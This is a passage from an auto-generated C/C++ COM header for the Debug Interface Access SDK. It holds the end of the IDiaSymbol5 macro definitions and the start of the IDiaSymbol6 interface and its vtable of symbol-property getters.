IDiaSymbol5_get_isAcceleratorPointerTagLiveRange(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) #define IDiaSymbol5_get_isAcceleratorStubFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) #define IDiaSymbol5_get_numberOfAcceleratorPointerTags(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) #define IDiaSymbol5_get_isSdl(This,pRetVal) \ ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) #define IDiaSymbol5_get_isWinRTPointer(This,pRetVal) \ ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) #define IDiaSymbol5_get_isRefUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) #define IDiaSymbol5_get_isValueUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) #define IDiaSymbol5_get_isInterfaceUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) #define IDiaSymbol5_findInlineFramesByAddr(This,isect,offset,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) #define IDiaSymbol5_findInlineFramesByRVA(This,rva,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) #define IDiaSymbol5_findInlineFramesByVA(This,va,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) #define IDiaSymbol5_findInlineeLines(This,ppResult) \ ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) #define IDiaSymbol5_findInlineeLinesByAddr(This,isect,offset,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) #define IDiaSymbol5_findInlineeLinesByRVA(This,rva,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) #define IDiaSymbol5_findInlineeLinesByVA(This,va,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) #define IDiaSymbol5_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) \ ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) #define IDiaSymbol5_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) \ ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) #define IDiaSymbol5_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) \ ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) #define IDiaSymbol5_getSrcLineOnTypeDefn(This,ppResult) \ ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) #define IDiaSymbol5_get_isPGO(This,pRetVal) \ ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) #define IDiaSymbol5_get_hasValidPGOCounts(This,pRetVal) \ ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) #define IDiaSymbol5_get_isOptimizedForSpeed(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) #define IDiaSymbol5_get_PGOEntryCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) #define IDiaSymbol5_get_PGOEdgeCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) #define IDiaSymbol5_get_PGODynamicInstructionCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) #define IDiaSymbol5_get_staticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) #define IDiaSymbol5_get_finalLiveStaticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) #define IDiaSymbol5_get_phaseName(This,pRetVal) \ ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) #define IDiaSymbol5_get_hasControlFlowCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) #define IDiaSymbol5_get_constantExport(This,pRetVal) \ ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) #define IDiaSymbol5_get_dataExport(This,pRetVal) \ ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) #define IDiaSymbol5_get_privateExport(This,pRetVal) \ ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) #define IDiaSymbol5_get_noNameExport(This,pRetVal) \ ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) #define IDiaSymbol5_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) #define IDiaSymbol5_get_exportIsForwarder(This,pRetVal) \ ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) #define IDiaSymbol5_get_ordinal(This,pRetVal) \ ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) #define IDiaSymbol5_get_frameSize(This,pRetVal) \ ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) #define IDiaSymbol5_get_exceptionHandlerAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) #define IDiaSymbol5_get_exceptionHandlerAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) #define IDiaSymbol5_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol5_get_exceptionHandlerVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) #define IDiaSymbol5_findInputAssemblyFile(This,ppResult) \ ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) #define IDiaSymbol5_get_characteristics(This,pRetVal) \ ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) #define IDiaSymbol5_get_coffGroup(This,pRetVal) \ ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) #define IDiaSymbol5_get_bindID(This,pRetVal) \ ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) #define IDiaSymbol5_get_bindSpace(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) #define IDiaSymbol5_get_bindSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) #define IDiaSymbol5_get_isObjCClass(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) #define IDiaSymbol5_get_isObjCCategory(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) #define IDiaSymbol5_get_isObjCProtocol(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) #define IDiaSymbol5_get_inlinee(This,pRetVal) \ ( (This)->lpVtbl -> get_inlinee(This,pRetVal) ) #define IDiaSymbol5_get_inlineeId(This,pRetVal) \ ( (This)->lpVtbl -> get_inlineeId(This,pRetVal) ) #define IDiaSymbol5_get_noexcept(This,pRetVal) \ ( (This)->lpVtbl -> get_noexcept(This,pRetVal) ) #define IDiaSymbol5_get_hasAbsoluteAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAbsoluteAddress(This,pRetVal) ) #endif /* COBJMACROS */ #endif /* C style interface */ /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol5_get_hasAbsoluteAddress_Proxy( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol5_get_hasAbsoluteAddress_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); #endif /* __IDiaSymbol5_INTERFACE_DEFINED__ */ #ifndef __IDiaSymbol6_INTERFACE_DEFINED__ #define __IDiaSymbol6_INTERFACE_DEFINED__ /* interface IDiaSymbol6 */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaSymbol6; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("8133dad3-75fe-4234-ac7e-f8e7a1d3cbb3") IDiaSymbol6 : public IDiaSymbol5 { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isStaticMemberFunc( /* [retval][out] */ BOOL *pRetVal) = 0; }; #else /* C style interface */ typedef struct IDiaSymbol6Vtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaSymbol6 * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaSymbol6 * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaSymbol6 * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( IDiaSymbol6 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( IDiaSymbol6 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( IDiaSymbol6 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( IDiaSymbol6 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( IDiaSymbol6 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( IDiaSymbol6 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( IDiaSymbol6 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( IDiaSymbol6 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( IDiaSymbol6 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( IDiaSymbol6 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( IDiaSymbol6 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( IDiaSymbol6 * This, /* [retval][out] */ VARIANT *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( IDiaSymbol6 * This, /* [retval][out] */ GUID *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( IDiaSymbol6 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( IDiaSymbol6 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( IDiaSymbol6 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( IDiaSymbol6 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( IDiaSymbol6 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( IDiaSymbol6 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( IDiaSymbol6 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( IDiaSymbol6 * This, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *findChildren )( IDiaSymbol6 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( IDiaSymbol6 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( IDiaSymbol6 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( IDiaSymbol6 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( IDiaSymbol6 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( IDiaSymbol6 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_types )( IDiaSymbol6 * This, /* [in] */ DWORD cTypes, /* [out] */ DWORD *pcTypes, /* [size_is][size_is][out] */ IDiaSymbol **pTypes); HRESULT ( STDMETHODCALLTYPE *get_typeIds )( IDiaSymbol6 * This, /* [in] */ DWORD cTypeIds, /* [out] */ DWORD *pcTypeIds, /* [size_is][out] */ DWORD *pdwTypeIds); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( IDiaSymbol6 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( IDiaSymbol6 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( IDiaSymbol6 * This, /* [in] */ DWORD undecorateOptions, /* [out] */ BSTR *name); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( IDiaSymbol6 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( IDiaSymbol6 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( IDiaSymbol6 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( IDiaSymbol6 * This, /* [retval][out] */ BOOL *pRetVal); /* 